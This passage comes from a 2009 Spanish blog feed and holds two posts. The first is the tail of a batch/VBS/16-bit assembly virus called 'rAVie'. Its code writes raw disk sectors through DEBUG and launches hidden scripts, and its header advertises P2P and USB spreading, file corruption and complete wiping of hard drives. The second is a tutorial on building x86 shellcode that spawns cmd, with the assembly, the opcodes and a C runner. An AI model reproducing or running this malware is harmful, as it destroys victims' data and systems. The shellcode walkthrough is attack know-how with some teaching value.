<span style="color:#66cc66;">(</span><a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> a&amp;&amp; <a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> mov ax,0E07&amp;&amp; <a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> int 10h&amp;&amp; <a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a>.&amp;&amp; <a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> g<span style="color:#66cc66;">)</span>&gt;t %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> <span style="color:#448844;">n</span>=<span>26</span>&amp;&amp; <a href="http://www.ss64.com/nt/for.html"><span style="color:#00b100;font-weight:bold;">for</span></a> /l %%a <a href="http://www.ss64.com/nt/in.html"><span style="color:#00b100;font-weight:bold;">in</span></a> <span style="color:#66cc66;">(</span><span>1</span>,<span>1</span>,<span>25</span><span style="color:#66cc66;">)</span> <a href="http://www.ss64.com/nt/do.html"><span style="color:#00b100;font-weight:bold;">do</span></a> <span style="color:#66cc66;">(</span><a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">gbbp<span style="color:#66cc66;">)</span> %<span style="color:#448888;">m2</span>%</span>
<a href="http://www.ss64.com/nt/exit.html"><span style="color:#00b100;font-weight:bold;">exit</span></a> %<span style="color:#448888;">m2</span>%
:<span style="color:#b100b1;font-weight:bold;">gbbp %<span style="color:#448888;">m2</span>%</span>
ping -n %<span style="color:#448888;">n</span>% localhost&gt;nul %<span style="color:#448888;">m2</span>%
debug&lt;t&gt;nul&amp;&amp; <a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> /a <span style="color:#448844;"><span style="color:#66cc66;">(</span>n-</span>=<span>1</span><span style="color:#66cc66;">)</span>%%<span>8</span> %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/goto.html"><span style="color:#00b100;font-weight:bold;">goto</span></a>:eof %<span style="color:#448888;">m2</span>%
:<span style="color:#b100b1;font-weight:bold;">__2 %<span style="color:#448888;">m2</span>%</span>
<a href="http://www.ss64.com/nt/for.html"><span style="color:#00b100;font-weight:bold;">for</span></a> %%a <a href="http://www.ss64.com/nt/in.html"><span style="color:#00b100;font-weight:bold;">in</span></a> <span style="color:#66cc66;">(</span><span>80</span> <span>81</span><span style="color:#66cc66;">)</span> <span style="color:#66cc66;">(</span><a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">fut %%a&amp;&amp; debug&lt;fut%%a.t&gt;nul<span style="color:#66cc66;">)</span> %<span style="color:#448888;">m2</span>%</span>
<a href="http://www.ss64.com/nt/goto.html"><span style="color:#00b100;font-weight:bold;">goto</span></a>:eof %<span style="color:#448888;">m2</span>%
:<span style="color:#b100b1;font-weight:bold;">fut %<span style="color:#448888;">m2</span>%</span>
<span style="color:#66cc66;">(</span><a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> f <span>200</span> L1000 <span>0</span> %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> a cs:<span>100</span> %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> mov ax,<span>301</span> %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> bx,<span>200</span> %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> mov cx,<span>1</span> %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> mov dx,%<span style="color:#448888;"><span>1</span></span> %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> int <span>13</span> %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> int <span>20</span> %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a>. %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> g<span style="color:#66cc66;">)</span>&gt;fut%<span style="color:#448888;"><span>1</span></span>.t %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/goto.html"><span style="color:#00b100;font-weight:bold;">goto</span></a>:eof %<span style="color:#448888;">m2</span>%
:<span style="color:#b100b1;font-weight:bold;">:<span>-1558321570</span> %<span style="color:#448888;">m2</span>% </span>
:<span style="color:#b100b1;font-weight:bold;">_hdn %<span style="color:#448888;">m0</span>%</span>
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> <a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> <span style="color:#448844;">cmd</span>=CREATEOBJECT<span style="color:#66cc66;">(</span>"WSCRIPT.SHELL"<span style="color:#66cc66;">)</span>&gt;evi_%<span style="color:#448888;"><span>1</span></span>.vbs %<span style="color:#448888;">m0</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> cmd.run "cmd /c %<span style="color:#448888;">mys</span>%%<span style="color:#448888;"><span>1</span></span>", vbhide&gt;&gt;evi_%<span style="color:#448888;"><span>1</span></span>.vbs&amp;&amp; start evi_%<span style="color:#448888;"><span>1</span></span>.vbs&amp;&amp; <a href="http://www.ss64.com/nt/goto.html"><span style="color:#00b100;font-weight:bold;">goto</span></a> <span style="color:#b100b1;font-weight:bold;">:eof %<span style="color:#448888;">m0</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">:<span>1996000310</span> %<span style="color:#448888;">m0</span>% </span>
<div id="_mcePaste" style="overflow:hidden;position:absolute;left:-10000px;top:0;width:1px;height:1px;"><span style="color:#b100b1;font-weight:bold;">: Nombre: rAVie.c %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">: Autor: Shadow; tshadow; The Shadow %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">: Fecha: <span>30</span>/<span>02</span>/<span>09</span> %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">: Propagacion: Si <span style="color:#66cc66;">[</span>P2P+rar-persistente c/4m; Usb-persistente c/4m<span style="color:#66cc66;">]</span> %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">: Payload: Si <span style="color:#66cc66;">[</span>-corrupcion de archivos <a href="http://www.ss64.com/nt/con.html"><span style="color:#0000ff;font-weight:bold;">con</span></a> extension: jpg, jpeg, doc, xls, pwl, pdf, dot y ppt %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">:                     -bucle de beeps %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">:                     -eliminacion completa de datos de HD0 y HD1<span style="color:#66cc66;">]</span>--aleatorio %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">: Encriptacion/codificacion: No %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">: Polimorfismo: Si <span style="color:#66cc66;">[</span>Bait tecnique <span style="color:#66cc66;">(</span>rango de inc</span><span style="color:#808080;font-style:italic;">remento=10-120 bytes); Transposicion] %main%</span>
:<span style="color:#b100b1;font-weight:bold;">: Anti-deleccion: Si <span style="color:#66cc66;">[</span>de registro y de fichero madre<span style="color:#66cc66;">]</span> %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">: SO objetivo: W32 NT <span>4</span>+ <span style="color:#66cc66;">(</span>versiones en espa?ol para propagacion p2p completa<span style="color:#66cc66;">)</span> %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">: Codificacion: batch, vbs y asm 16b %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">: %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">: Aclaracion: El presente fichero .bat fue creado solo para propositos educativos. El uso de la informacion contenida %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">: en el presente documento puede causar perdida de datos y/o mal funcionamiento de hardware. %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">: La responsabilidad de el mal uso de la informacion contenida aqui NO cae sobre el autor o ninguna organizacion %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">: relacionada a el. %<span style="color:#448888;">main</span>%</span></div>
</pre>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/sswteam.wordpress.com/75/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/sswteam.wordpress.com/75/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/sswteam.wordpress.com/75/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/sswteam.wordpress.com/75/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/sswteam.wordpress.com/75/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/sswteam.wordpress.com/75/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/sswteam.wordpress.com/75/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/sswteam.wordpress.com/75/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/sswteam.wordpress.com/75/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/sswteam.wordpress.com/75/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=75&subd=sswteam&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://sswteam.wordpress.com/2009/07/21/ravie-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">lShadowl</media:title>
		</media:content>
	</item>
		<item>
		<title>Creando una Shellcode (x86)</title>
		<link>http://sswteam.wordpress.com/2009/07/21/creando-una-shellcode-x86/</link>
		<comments>http://sswteam.wordpress.com/2009/07/21/creando-una-shellcode-x86/#comments</comments>
		<pubDate>Tue, 21 Jul 2009 15:28:15 +0000</pubDate>
		<dc:creator>lShadowl</dc:creator>
				<category><![CDATA[Tutoriales & Manuales]]></category>

		<guid isPermaLink="false">http://sswteam.wordpress.com/?p=67</guid>
		<description><![CDATA[Creando una Shellcode (x86)
por lShadowl
Conocimientos previos requeridos: asm 32b y C
Conocimientos previos:
-Que es una shellcode?
&#8220;Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack) de ejecución de un programa para conseguir que la máquina en la que reside se ejecute [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=67&subd=sswteam&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><div style="text-align:center;"><strong><span style="font-size:12pt;line-height:1.3em;">Creando una Shellcode (x86)</span></strong></div>
<p>por lShadowl</p>
<hr />Conocimientos previos requeridos: asm 32b y C</p>
<p>Conocimientos previos:<br />
-Que es una shellcode?<br />
&#8220;Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack) de ejecución de un programa para conseguir que la máquina en la que reside se ejecute la operación que se haya programado.(&#8230;)&#8221; &gt;&gt; <a href="http://es.wikipedia.org/wiki/Shellcode" target="_blank">http://es.wikipedia.org/wiki/Shellcode</a></p>
<p>Herramientas usadas en este tutorial¦Descarga:</p>
<p>Todas las herramientas usadas en este tutorial pueden ser descargadas desde la plataforma <a href="http://www.cygwin.com/setup.exe" target="_blank">Cygwin</a> la cual es un emulador de sistemas Unix para Windows.</p>
<p>La lista de las paquetes minimos ha descargar pasar seguir el tutorial es:</p>
<p>&#8212;&#8211;Categoria Devel&#8212;-<br />
&gt;binutils<br />
&gt;gcc<br />
&gt;nasm<br />
&#8212;-Categoria System&#8212;-<br />
&gt;util-linux</p>
<p>Otras herramientas y scripts usados estan como codigo fuente en el tutorial.</p>
<hr /><span style="font-size:10pt;line-height:1.3em;"><strong>Introduccion</strong></span></p>
<p>Este tutorial pretende exponer de una manera clara y bastante simple el procedimiento para codificar una shellcode basica. Podemos dividir el</p>
<p>proceso en 2 partes: codificacion en ensamblador y conversion a opcode.</p>
<p>El objetivo del tutorial es crear una shellcode que abra una cmd.</p>
<hr /><span style="font-size:10pt;line-height:1.3em;"><strong>Codificacion en ensamblador</strong></span></p>
<p>Para esta parte necesitaremos saber que funciones vamos a utilizar para cumplir el proposito (abrir la cmd). En nuestro caso necesitaremos el acceso a las funciones &#8220;WinExec&#8221; [con que ejecutaremos la cmd] y &#8220;ExitProcess&#8221; [con la cual saldremos del programa], ambas se encuentran en la dll &#8220;kernel32&#8243;.<br />
Para utilizarlas al codificar necesitamos saber su offset, para esto usaremos a &#8220;arwin&#8221;, un programa bastante sencillo que nos devuelve especificamente lo que buscamos, la direccion de la funcion. Aqui su codigo:</p>
<div class="codeheader">Código</div>
<pre class="geshi"><span style="color:#339933;">#include &lt;windows.h&gt;</span>
<span style="color:#339933;">#include &lt;stdio.h&gt;</span>

<span style="color:#808080;font-style:italic;">/***************************************
arwin - win32 address resolution program
by steve hanna v.01
   vividmachines.com
   shanna@uiuc.edu
you are free to modify this code
but please attribute me if you
change the code. bugfixes &amp; additions
are welcome please email me!
to compile:
you will need a win32 compiler with
the win32 SDK

this program finds the absolute address
of a function in a specified DLL.
happy shellcoding!
***************************************/</span>

<span style="color:#993333;">int</span> main<span style="color:#66cc66;">(</span><span style="color:#993333;">int</span> argc, <span style="color:#993333;">char</span>** argv<span style="color:#66cc66;">)</span>
<span style="color:#66cc66;">{</span>
	HMODULE hmod_libname;
	FARPROC fprc_func;

	<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color:#000066;">printf</span></a><span style="color:#66cc66;">(</span><span style="color:#ff0000;">"arwin - win32 address resolution program - by steve hanna - v.01<span style="color:#000099;font-weight:bold;">\n</span>"</span><span style="color:#66cc66;">)</span>;
	<span style="color:#b1b100;">if</span><span style="color:#66cc66;">(</span>argc &lt; <span style="color:#cc66cc;">3</span><span style="color:#66cc66;">)</span>
	<span style="color:#66cc66;">{</span>
		<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color:#000066;">printf</span></a><span style="color:#66cc66;">(</span><span style="color:#ff0000;">"%s &lt;Library Name&gt; &lt;Function Name&gt;<span style="color:#000099;font-weight:bold;">\n</span>"</span>,argv<span style="color:#66cc66;">[</span><span style="color:#cc66cc;">0</span><span style="color:#66cc66;">]</span><span style="color:#66cc66;">)</span>;
		exit<span style="color:#66cc66;">(</span><span style="color:#cc66cc;">-1</span><span style="color:#66cc66;">)</span>;
	<span style="color:#66cc66;">}</span>

	hmod_libname = LoadLibrary<span style="color:#66cc66;">(</span>argv<span style="color:#66cc66;">[</span><span style="color:#cc66cc;">1</span><span style="color:#66cc66;">]</span><span style="color:#66cc66;">)</span>;
	<span style="color:#b1b100;">if</span><span style="color:#66cc66;">(</span>hmod_libname == <span style="color:#000000;font-weight:bold;">NULL</span><span style="color:#66cc66;">)</span>
	<span style="color:#66cc66;">{</span>
		<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color:#000066;">printf</span></a><span style="color:#66cc66;">(</span><span style="color:#ff0000;">"Error: could not load library!<span style="color:#000099;font-weight:bold;">\n</span>"</span><span style="color:#66cc66;">)</span>;
		exit<span style="color:#66cc66;">(</span><span style="color:#cc66cc;">-1</span><span style="color:#66cc66;">)</span>;
	<span style="color:#66cc66;">}</span>
	fprc_func = GetProcAddress<span style="color:#66cc66;">(</span>hmod_libname,argv<span style="color:#66cc66;">[</span><span style="color:#cc66cc;">2</span><span style="color:#66cc66;">]</span><span style="color:#66cc66;">)</span>;

	<span style="color:#b1b100;">if</span><span style="color:#66cc66;">(</span>fprc_func == <span style="color:#000000;font-weight:bold;">NULL</span><span style="color:#66cc66;">)</span>
	<span style="color:#66cc66;">{</span>
		<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color:#000066;">printf</span></a><span style="color:#66cc66;">(</span><span style="color:#ff0000;">"Error: could find the function in the library!<span style="color:#000099;font-weight:bold;">\n</span>"</span><span style="color:#66cc66;">)</span>;
		exit<span style="color:#66cc66;">(</span><span style="color:#cc66cc;">-1</span><span style="color:#66cc66;">)</span>;
	<span style="color:#66cc66;">}</span>
	<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color:#000066;">printf</span></a><span style="color:#66cc66;">(</span><span style="color:#ff0000;">"%s is located at 0x%08x in %s<span style="color:#000099;font-weight:bold;">\n</span>"</span>,argv<span style="color:#66cc66;">[</span><span style="color:#cc66cc;">2</span><span style="color:#66cc66;">]</span>,<span style="color:#66cc66;">(</span><span style="color:#993333;">unsigned</span> <span style="color:#993333;">int</span><span style="color:#66cc66;">)</span>fprc_func,argv<span style="color:#66cc66;">[</span><span style="color:#cc66cc;">1</span><span style="color:#66cc66;">]</span><span style="color:#66cc66;">)</span>;

<span style="color:#66cc66;">}</span></pre>
<p>Es necesario saber la direccion de la funcion que utilizaremos ya que esta cambia a partir de las versiones del sistema operativo y se sus Service Packs.</p>
<p>Ya con arwin usaremos la linea:</p>
<p>$ arwin kernel32.dll WinExec</p>
<p>con lo cual obtendremos un resultado parecido a este:</p>
<p><img src="http://img18.imageshack.us/img18/3113/sctut1.jpg" border="0" alt="" /></p>
<p>El mismo proceso para buscar &#8220;ExitProcess&#8221;. &gt;&gt;</p>
<p><img src="http://img189.imageshack.us/img189/9650/sctut0.jpg" border="0" alt="" /></p>
<p>Ahora que tenemos las direcciones, pasemos al code en asm.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<div class="codeheader">Código</div>
<pre class="geshi">BITS <span style="color:#ff0000;">32</span>                  <span style="color:#adadad;font-style:italic;">;especificamos que el code es 32bits</span>

<span style="color:#00007f;">jmp</span> <span style="color:#0000ff;">short</span> cmd                  <span style="color:#adadad;font-style:italic;">;"cmd" a la pila</span>

init:
   <span style="color:#00007f;">mov</span> <span style="color:#46aa03;font-weight:bold;">edx</span>,7C8623ADh      <span style="color:#adadad;font-style:italic;">; 7C8623ADh&gt;&gt;direccion de WinExec a edx</span>
   <span style="color:#00007f;">call</span> <span style="color:#46aa03;font-weight:bold;">edx</span>                             <span style="color:#adadad;font-style:italic;">; hacemos la llamada (recordemos que "cmd" esta en la pila)</span>
   <span style="color:#00007f;">mov</span> <span style="color:#46aa03;font-weight:bold;">edx</span>,7C81CAFAh      <span style="color:#adadad;font-style:italic;">; 7C8623ADh&gt;&gt;direccion de ExitProcess a edx</span>
   <span style="color:#00007f;">call</span> <span style="color:#46aa03;font-weight:bold;">edx</span>                            <span style="color:#adadad;font-style:italic;">; salimos</span>

cmd:
   <span style="color:#00007f;">CALL</span> init
   <span style="color:#0000ff;">db</span> <span style="color:#7f007f;">'cmd'</span>,<span style="color:#ff0000;">00h</span>    <span style="color:#adadad;font-style:italic;">; obviamente aqui podriamos a?adir otros comandos, eso ya seria parte de su ingenio</span></pre>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Para cuestiones de seguimiento, llamaremos a este archivo &#8220;shc.asm&#8221;.</p>
<hr /><span style="font-size:10pt;line-height:1.3em;"><strong>Conversion a opcode</strong></span></p>
<p>Bien, ya que tenemos el codigo listo en shc.asm lo pasaremos ha codigo objeto. Para esto usaremos nasm asi:</p>
<p>$ nasm -f bin -o shc.bin shc.asm</p>
<p>En shc.bin tendremos algo como esto:</p>
<div class="codeheader">Código:</div>
<div class="code">
<pre style="margin-top:0;display:inline;">ëº­#†|ÿÒºúÊ|ÿÒèíÿÿÿcmd</pre>
</div>
<p>luego, usaremos la herramienta xxd para pasarlo a opcode, de esta forma:</p>
<p>$ xxd -i shc.asm</p>
<p>y nos devolvera esto:</p>
<p><img src="http://img145.imageshack.us/img145/9991/sctut2.jpg" border="0" alt="" /></p>
<p>Y listo, tenemos nuestra shellcode lista en C:</p>
<div class="codeheader">Código</div>
<pre class="geshi"><span style="color:#993333;">unsigned</span> <span style="color:#993333;">char</span> shc_bin<span style="color:#66cc66;">[</span><span style="color:#66cc66;">]</span> = <span style="color:#66cc66;">{</span>
  0xeb, 0x0e, 0xba, 0xad, 0x23, 0x86, 0x7c, 0xff, 0xd2, 0xba, 0xfa, 0xca,
  0x81, 0x7c, 0xff, 0xd2, 0xe8, 0xed, 0xff, 0xff, 0xff, 0x63, 0x6d, 0x64,
  0x00
<span style="color:#66cc66;">}</span>;
<span style="color:#993333;">unsigned</span> <span style="color:#993333;">int</span> shc_bin_len = <span style="color:#cc66cc;">25</span>;</pre>
<p>Ahora, hay scripts que nos permiten tener otro tipo de salida del opcode, veamos este:</p>
<div class="codeheader">Código</div>
<pre class="geshi"><span style="color:#808080;font-style:italic;">#!/bin/bash</span>
<span style="color:#000000;font-weight:bold;">if</span> <span style="color:#7a0874;font-weight:bold;">[</span> <span style="color:#007800;">$#</span> -ne <span style="color:#000000;">1</span> <span style="color:#7a0874;font-weight:bold;">]</span>
<span style="color:#000000;font-weight:bold;">then</span>
    <span style="color:#7a0874;font-weight:bold;">printf</span> <span style="color:#ff0000;">"<span style="color:#000099;font-weight:bold;">\n</span><span style="color:#000099;font-weight:bold;">\t</span>Usage: $0 filename.bin<span style="color:#000099;font-weight:bold;">\n</span><span style="color:#000099;font-weight:bold;">\n</span>"</span>
    <span style="color:#7a0874;font-weight:bold;">exit</span>
<span style="color:#000000;font-weight:bold;">fi</span>

<span style="color:#007800;">filename=</span>`<span style="color:#7a0874;font-weight:bold;">echo</span> $<span style="color:#000000;">1</span> | <span style="color:#c20cb9;font-weight:bold;">sed</span> s/<span style="color:#ff0000;">"<span style="color:#000099;font-weight:bold;">\.</span>bin$"</span>//`
<span style="color:#c20cb9;font-weight:bold;">rm</span> -f <span style="color:#007800;">$filename</span>.shellcode

<span style="color:#000000;font-weight:bold;">for</span> i <span style="color:#000000;font-weight:bold;">in</span> `xxd -i <span style="color:#007800;">$filename</span>.bin | <span style="color:#c20cb9;font-weight:bold;">grep</span> , | <span style="color:#c20cb9;font-weight:bold;">sed</span> s/<span style="color:#ff0000;">" "</span>/<span style="color:#ff0000;">" "</span>/ | <span style="color:#c20cb9;font-weight:bold;">sed</span> s/<span style="color:#ff0000;">","</span>/<span style="color:#ff0000;">""</span>/g | <span style="color:#c20cb9;font-weight:bold;">sed</span> s/<span style="color:#ff0000;">"0x"</span>/<span style="color:#ff0000;">"<span style="color:#000099;font-weight:bold;">\\</span><span style="color:#000099;font-weight:bold;">\\</span>x"</span>/g`
<span style="color:#000000;font-weight:bold;">do</span>
    <span style="color:#7a0874;font-weight:bold;">echo</span> -n <span style="color:#ff0000;">"<span style="color:#000099;font-weight:bold;">\\</span>$i"</span> &gt;&gt; <span style="color:#007800;">$filename</span>.shellcode
    <span style="color:#7a0874;font-weight:bold;">echo</span> -n <span style="color:#ff0000;">"<span style="color:#000099;font-weight:bold;">\\</span>$i"</span>
<span style="color:#000000;font-weight:bold;">done</span>
<span style="color:#7a0874;font-weight:bold;">echo</span></pre>
<p>De esta forma::</p>
<p>$ xxd-shellcode.sh shc.bin</p>
<p>Devolvera esto:</p>
<p><img src="http://img134.imageshack.us/img134/3334/sctut3.jpg" border="0" alt="" /></p>
<p>y en shc.shellcode los opcodes</p>
<div class="codeheader">Código</div>
<pre class="geshi">\xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64</pre>
<p>Ahora veamos la plantilla en C para probarla</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<div class="codeheader">Código</div>
<pre class="geshi"><span style="color:#993333;">char</span> code<span style="color:#66cc66;">[</span><span style="color:#66cc66;">]</span> = <span style="color:#ff0000;">"[b]OPCODES[/b]"</span>;

<span style="color:#993333;">int</span> main<span style="color:#66cc66;">(</span><span style="color:#66cc66;">)</span>
<span style="color:#66cc66;">{</span>
	<span style="color:#993333;">int</span> <span style="color:#66cc66;">(</span>*func<span style="color:#66cc66;">)</span><span style="color:#66cc66;">(</span><span style="color:#66cc66;">)</span>;
	func = <span style="color:#66cc66;">(</span><span style="color:#993333;">int</span> <span style="color:#66cc66;">(</span>*<span style="color:#66cc66;">)</span><span style="color:#66cc66;">(</span><span style="color:#66cc66;">)</span><span style="color:#66cc66;">)</span> code;
	<span style="color:#66cc66;">(</span><span style="color:#993333;">int</span><span style="color:#66cc66;">)</span><span style="color:#66cc66;">(</span>*func<span style="color:#66cc66;">)</span><span style="color:#66cc66;">(</span><span style="color:#66cc66;">)</span>;
<span style="color:#66cc66;">}</span></pre>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Asi que tendriamos en sch.c &#8230;:</p>
<div class="codeheader">Código</div>
<pre class="geshi"><span style="color:#993333;">char</span> code<span style="color:#66cc66;">[</span><span style="color:#66cc66;">]</span> = <span style="color:#ff0000;">"<span style="color:#000099;font-weight:bold;">\x</span>eb<span style="color:#000099;font-weight:bold;">\x</span>0e<span style="color:#000099;font-weight:bold;">\x</span>ba<span style="color:#000099;font-weight:bold;">\x</span>ad<span style="color:#000099;font-weight:bold;">\x</span>23<span style="color:#000099;font-weight:bold;">\x</span>86<span style="color:#000099;font-weight:bold;">\x</span>7c<span style="color:#000099;font-weight:bold;">\x</span>ff<span style="color:#000099;font-weight:bold;">\x</span>d2<span style="color:#000099;font-weight:bold;">\x</span>ba<span style="color:#000099;font-weight:bold;">\x</span>fa<span style="color:#000099;font-weight:bold;">\x</span>ca<span style="color:#000099;font-weight:bold;">\x</span>81<span style="color:#000099;font-weight:bold;">\x</span>7c<span style="color:#000099;font-weight:bold;">\x</span>ff<span style="color:#000099;font-weight:bold;">\x</span>d2<span style="color:#000099;font-weight:bold;">\x</span>e8<span style="color:#000099;font-weight:bold;">\x</span>ed<span style="color:#000099;font-weight:bold;">\x</span>ff<span style="color:#000099;font-weight:bold;">\x</span>ff<span style="color:#000099;font-weight:bold;">\x</span>ff<span style="color:#000099;font-weight:bold;">\x</span>63<span style="color:#000099;font-weight:bold;">\x</span>6d<span style="color:#000099;font-weight:bold;">\x</span>64<span style="color:#000099;font-weight:bold;">\x</span>00"</span>;

<span style="color:#993333;">int</span> main<span style="color:#66cc66;">(</span><span style="color:#66cc66;">)</span>
<span style="color:#66cc66;">{</span>
	<span style="color:#993333;">int</span> <span style="color:#66cc66;">(</span>*func<span style="color:#66cc66;">)</span><span style="color:#66cc66;">(</span><span style="color:#66cc66;">)</span>;
	func = <span style="color:#66cc66;">(</span><span style="color:#993333;">int</span> <span style="color:#66cc66;">(</span>*<span style="color:#66cc66;">)</span><span style="color:#66cc66;">(</span><span style="color:#66cc66;">)</span><span style="color:#66cc66;">)</span> code;
	<span style="color:#66cc66;">(</span><span style="color:#993333;">int</span><span style="color:#66cc66;">)</span><span style="color:#66cc66;">(</span>*func<span style="color:#66cc66;">)</span><span style="color:#66cc66;">(</span><span style="color:#66cc66;">)</span>;
<span style="color:#66cc66;">}</span></pre>
<p>Compilamos ($ gcc -o shc shc.c) y probamos:</p>
<p><img src="http://img529.imageshack.us/img529/4734/sctut4.jpg" border="0" alt="" /></p>
<hr />Saludos!</p>
